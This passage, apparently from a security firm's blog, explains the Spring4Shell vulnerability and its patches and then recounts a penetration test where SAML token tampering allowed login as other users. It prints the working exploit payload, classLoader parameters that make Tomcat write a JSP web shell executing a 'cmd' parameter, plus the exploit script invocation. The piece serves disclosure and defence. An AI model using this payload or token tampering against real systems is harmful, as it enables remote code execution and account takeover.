  4. Spring Framework versions 5.3.0 to 5.3.17 and 5.2.0 to 5.2.19 and older versions.
  5. Application built as a WAR file
  6. Certain REST API which will process user input.

What is Spring4Shell?

public class Greeting {

private String message;

public String getMessage() {
               return message;
               }

public void setMessage(String message) {
               this.message = message;
               }
}

@Controller
public class HelloController {

@PostMapping(“/greeting”)

               public String greetingSubmit(@ModelAttribute Greeting greeting, Model model) {
 
               return “hello”; 
            }
}

Above is a modified code from
https://github.com/reznok/Spring4Shell-POC/tree/master/src/main/java/com/reznok/helloworld

From the above code, we can understand the application is expecting the **message** value in the post request. The vulnerability will occur when instead of supplying a value of to the **message** parameter the user supplies POJO (Plain Old Java Object).

Further, using classLoader to dynamically load classes into JVM. With the help of classLoader we reconfigure Tomcat to write logs to a new file which will be an executable JSP file.

Understanding the exploit

This exploit can be found on https://github.com/reznok/Spring4Shell-POC

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}i
java.io.InputStream in = %{c}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

Following is a detailed explanation of each line:

  1. module.classLoader.resources.context.parent.pipeline.first.pattern – This contains the pattern of the log file in which it will be written to the disk. The attacker would specify a malicious code which would be executed when the page has been visited.
  2. module.classLoader.resources.context.parent.pipeline.first.suffix – Will contain the log file extension.
  3. module.classLoader.resources.context.parent.pipeline.first.directory – The location of the log file to be written. For tomcat dev environments webapps/ROOT will be the default root folder of the webserver, however, it can differ if the administrator has decided to change the directory.
  4. module.classLoader.resources.context.parent.pipeline.first.prefix – Will contain the name of the log file.
  5. module.classLoader.resources.context.parent.pipeline.first.fileDateFormat – Will contain the date/time format of the log, keeping it blank reduces the junk output.

What is the impact of Spring4shell?

To replicate the vulnerability, we hosted a container in docker with the vulnerable version of spring framework. Then, we ran the exploit.py script: python exploit.py –url http://localhost:8080/helloworld/greeting

A web shell was created and we enumerated the id by modifying the cmd parameter, which confirms the remote code execution.

How to mitigate?

A patch is now available as of March 31st, 2022 in the recently published Spring versions 5.3.18 and 5.2.20. We recommend all users update to the latest version.

  • To upgrade in Maven, add the following code in the POM file:

<properties>
<spring-framework.version>5.3.18</spring-framework.version>
</properties>

  • In Gradle:

ext[‘spring-framework.version’] = ‘5.3.18’

Spring also released several workarounds such as:

  1. Upgrading Apache Tomcat to 10.0.20, 9.0.62, or 8.5.78.
  2. Downgrading to Java 8 if you can neither upgrade the Spring Framework nor upgrade Apache Tomcat.
  3. Another viable workaround is to disable binding to particular fields by setting disallowedFieldson WebDataBinder

How can Accorian help to identify if your organization is vulnerable to Spring4Shell?

The Spring4Shell vulnerability is a high-impact vulnerability on a system that uses vulnerable versions of Spring. Accorian is continuously monitoring the situation and can aid in identifying the vulnerabilities in your infrastructure by running specific commands and scripts. Write to us at info@accorian.com if you need us to test your infrastructure for Spring4Shell.

Penetration Testing Anecdote Series

Authentication bypass due to weak verification of SAML Token

What is authentication bypass in web applications?

The web application vulnerability – authentication bypass occurs when there is improper validation of the user’s identity on the server-side.

Generally, a successful authentication bypass requires the attacker to have knowledge of either the username/email ID unlike the case of SQL injection where the attacker can attempt to log into the application using any user.

What is SAML?

SAML (Security Assertion Markup Language) is a standard for authenticating and authorizing users across multiple applications by leveraging the logged-in session of one application.

In simple words, you log into a dashboard where you see multiple applications like Salesforce, AWS, Slack, ADP, etc. and when you click on any one of the icons, you would directly get signed into that application.

Unlike other tokens, the SAML token is XML-based for transferring identity between two parties.

So, who are these two parties? 1. Identity Provider (IdP) 2. Service Provider (SP). IdP is responsible to authenticate the user and subsequently sending the token to the service provider and SP trusts the identity provider and authorizes/authenticates the user to access the requested application.

Some applications implement SAML for the clients to authenticate themselves and use the application. So, the question is what kind of verification is done by the SP in the back-end? Is it possible to modify the token and login to the application as another user?

In this blog, we’ll walk you through an authentication bypass mechanism that allowed us to log into the application as any user with just the knowledge of the username. This can be achieved due to insecure logic & validation implemented at the backend.

Understanding the authentication process

The application uses Okta which is an identity platform that offers authentication and authorization services for the application. Let’s say the target domain is testproduct.com. After hitting this domain, we get redirected to the Okta login page with a domain like testcorp.oktapreview.com which looks like the below screenshot.

Using valid credentials, we log into the Okta dashboard. In My Apps, we see all the applications for whom we could obtain direct access without re-entering the credentials.

Let’s assume our app testcorp.com is included in it. After clicking our app, we directly get signed into it.

We now attempt to understand the process of how we got logged into testproduct.com from testcorp.oktapreview.com.

By setting up an interception proxy – Burp suite, we observe a request where testcorp.com receives a  SAML token with the parameter name SAML Response.

Bypass #1: Pre-remediation

The next request was responsible to authenticate the user, or in other words, activating the user’s session.

By changing the username value from 252233 to 252234, we were able to log into the application as a different user. We confirmed this by entering random number which gave us an error indicating that the user was invalid. Thus, confirming that username we used earlier was indeed valid.

By trying different values for the username parameter and repeating the above steps, we were able to log into the application as an administrator user.

Test Corp went ahead and implemented a fix to remediate the above vulnerability.

Bypass #2 : Post application of the first fix

Test Corp leveraged an encryption mechanism which prevented us changing the username value as the parameter was not unguessable.

We started looking at the different ways to decrypt the parameter through recon. We also wrote multiple scripts, but they weren’t successful in recreating the original value.

After many failed attempts we were curious to understand how the application knew which username parameter & value to encrypt, as we didn’t see any username being transmitted in the request via plaintext.

There was still a puzzle associated to the SAML token as we hadn’t looked at understanding it.

By using URL Decode then Base64 decode, we obtained decoded XML data containing the username 2522334.

The response had the encrypted username. Hence, sending a request by changing the username in the SAML token and encoding it back to its original format, resulted in a different encrypted username which caught our eye. So, we used this new username in the subsequent request with URL encoding which successfully logged us in.

So, the application was accepting the username from the SAML token & it then encrypted it. Subsequently, it was being sent in the request where the activation occurred.

Conclusion

Our understanding of the application led to the conclusion that rather than validating the token, the application extracted the username and verified whether it exists in their database or, not. This allowed an attacker to authenticate as any user, with a valid username.

Posted by:

Raunak Parmar

Senior Security Engineer at Accorian

 

    Ready to Start?



      Download Case study




        Download Guide




        Human Resources Director

        Posted On: 09 May, 2022

        Drop your CVs to joinourteam@accorian.com

          Interested Position

          First Name

          Last Name

          Email

          Total Experience

          Mobile Number

          Upload Resume